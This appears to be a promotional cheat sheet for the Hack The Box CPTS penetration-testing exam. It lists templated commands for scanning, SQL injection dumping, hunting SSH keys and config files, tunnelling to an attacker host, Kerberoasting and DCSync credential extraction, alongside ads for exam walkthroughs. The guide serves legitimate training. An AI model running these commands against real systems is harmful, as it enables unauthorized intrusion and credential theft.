HTB CPTS Methodology Guide: Practical Penetration Testing Framework & Essential Command Reference

Category: Hack The Box Certification Series • Reference Guide • Read Time: 14 min

The Hack The Box Certified Penetration Testing Specialist (HTB CPTS) exam is widely regarded as one of the most comprehensive practical cybersecurity assessments in the industry. It demands end-to-end operational capability across external network enumeration, web application security, internal host privilege escalation, multi-layered pivoting, and complex Active Directory exploitation.

Passing the CPTS assessment requires a structured methodology combined with rapid, accurate command execution. This technical guide outlines the standard methodology phases, operational workflows, and essential command references necessary for professional-grade penetration testing engagements.

Core Methodology Framework Overview

Phase 1: External Reconnaissance & Information Gathering (DNS interrogation, service fingerprinting)
Phase 2: Web Parameter & Perimeter Exploitation (Authentication analysis, input fuzzing, initial footholds)
Phase 3: Local Privilege Escalation & Host Triage (Permissions analysis, credential harvesting, loopback daemons)
Phase 4: Enterprise Pivoting & Subnet Traversal (Layer-3 tunneling, reverse port forwarding, SOCKS5 proxies)
Phase 5: Active Directory Domain Escalation (ACL pathing, Kerberos operations, group delegation abuse)

1. External Reconnaissance & DNS Interrogation

Before engaging any target application directly, thorough external mapping must be conducted to identify all public-facing services, nameservers, virtual hosts, and subdomains.

    # Comprehensive TCP Port Scan

    nmap -sC -sV -p- -T4 --min-rate 1000 <TARGET_IP> -oN full_tcp_scan.txt

    # DNS Zone Transfer Attempt (AXFR)

    dig axfr @<NAMESERVER_IP> <DOMAIN.LOCAL>

    # Virtual Host (VHost) Fuzzing

    ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://<TARGET_IP>/ -H "Host: FUZZ.<DOMAIN.LOCAL>" -fs <RESPONSE_SIZE>

2. Web Application Analysis & Foothold Execution

Once virtual hosts and web services are identified, prioritize manual parameter inspection alongside targeted automation. Key vectors include authentication bypasses, input filtering flaws, local file inclusion (LFI), and database query manipulation.

    # Directory & File Enumeration

    gobuster dir -u http://<TARGET_URL> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt,sh

    # Automated SQL Injection Testing via Burp Request File

    sqlmap -r request.req --batch --dbs --dump

    # Standard Reverse Shell Listener

    nc -lvnp 4444

Preparing for the HTB CPTS Practical Exam?

Get complete, verified penetration testing reports featuring step-by-step methodologies, full Active Directory escalation paths, high-detail attack logs, and commercial-grade documentation:

Access Full CPTS Exam Report & Walkthroughs →

3. Host Privilege Escalation & System Triage

Following initial access on a Linux or Windows endpoint, thorough local reconnaissance identifies misconfigurations, weak permissions, and credential artifacts that pave the way for root or SYSTEM privileges.

    # Linux: Check Sudo Permissions

    sudo -l

    # Linux: Enumerate Listening Localhost Services

    ss -tulpn | grep 127.0.0.1

    # Linux: Search for Sensitive Configuration & Key Files

    find / -name "*.ssh" -o -name "*.id_rsa" -o -name "*.conf" 2>/dev/null

    # Windows: Check Current User Privileges & Groups

    whoami /priv ; whoami /groups

4. Enterprise Multi-Tier Network Pivoting

In realistic enterprise environments, critical infrastructure resides on segregated subnets. Establishing stable layer-3 tunnels or dynamic proxies is essential for routing testing tools through compromised jump boxes.

    # Dynamic SSH SOCKS5 Proxy

    ssh -D 9050 -N -f user@<JUMPBOX_IP>

    # Remote Reverse Port Forward (Send internal port back to attacking host)

    ssh -R <LOCAL_PORT>:127.0.0.1:<INTERNAL_SERVICE_PORT> user@<ATTACKER_IP> -N

    # Ligolo-ng: Modern Layer-3 TUN Interface Tunneling (Attacker Machine)

    sudo ip tuntap add user $(whoami) mode tun ligolo

    sudo ip link set ligolo up

    sudo ip route add <TARGET_INTERNAL_SUBNET>/24 dev ligolo

5. Active Directory Exploitation & Kerberos Operations

Active Directory dominance is achieved by systematically mapping ACL relationships, abusing Kerberos authentication features, and exploiting delegation pathways across the domain forest.

    # Kerberoasting Service Accounts via Rubeus (Windows)

    .\Rubeus.exe kerberoast /outfile:hashes.kerberoast /nowrap

    # Kerberoasting via Impacket (Linux)

    impacket-GetUserSPNs <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP> -request

    # PowerView: Inspect Object DACLs and Permissions

    Get-DomainObjectAcl -Identity "<TARGET_OBJECT>" -ResolveGUIDs

    # Domain Credential Extraction (DCSync)

    impacket-secretsdump -just-dc <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

6. Commercial Reporting & Deliverable Quality

The HTB CPTS evaluation places heavy emphasis on the final commercial report. A professional deliverable must balance executive summary clarity with detailed technical reproduction steps:

Clear Reproduction Steps: Every vulnerability must include exact commands, payloads, parameters, and uncropped terminal evidence.
Root Cause Analysis: Clearly explain the technical misconfiguration or programming flaw rather than simply describing the symptom.
Actionable Remediation: Provide precise defensive fixes (e.g., GPO configurations, code-level sanitization examples, and ACL hardening).
Business Impact: Frame each finding in terms of organizational risk and potential impact on confidentiality, integrity, and availability.

Master Your Practical Cybersecurity Certifications

Get instant access to verified exam methodologies, enterprise reporting templates, and complete walkthrough archives for CPTS, OSCP+, and Active Directory certifications.

Explore Full CPTS Resources & Documentation

cpts exam guide • hack the box certified penetration testing specialist • cpts methodology • cpts cheat sheet • penetration testing command reference • enterprise network pivoting • active directory penetration testing • ligolo-ng command guide • cpts reporting standards • cpts review

HTB CPTS Walkthrough: Capturing Flags 1, 2, 3, 4 & Beyond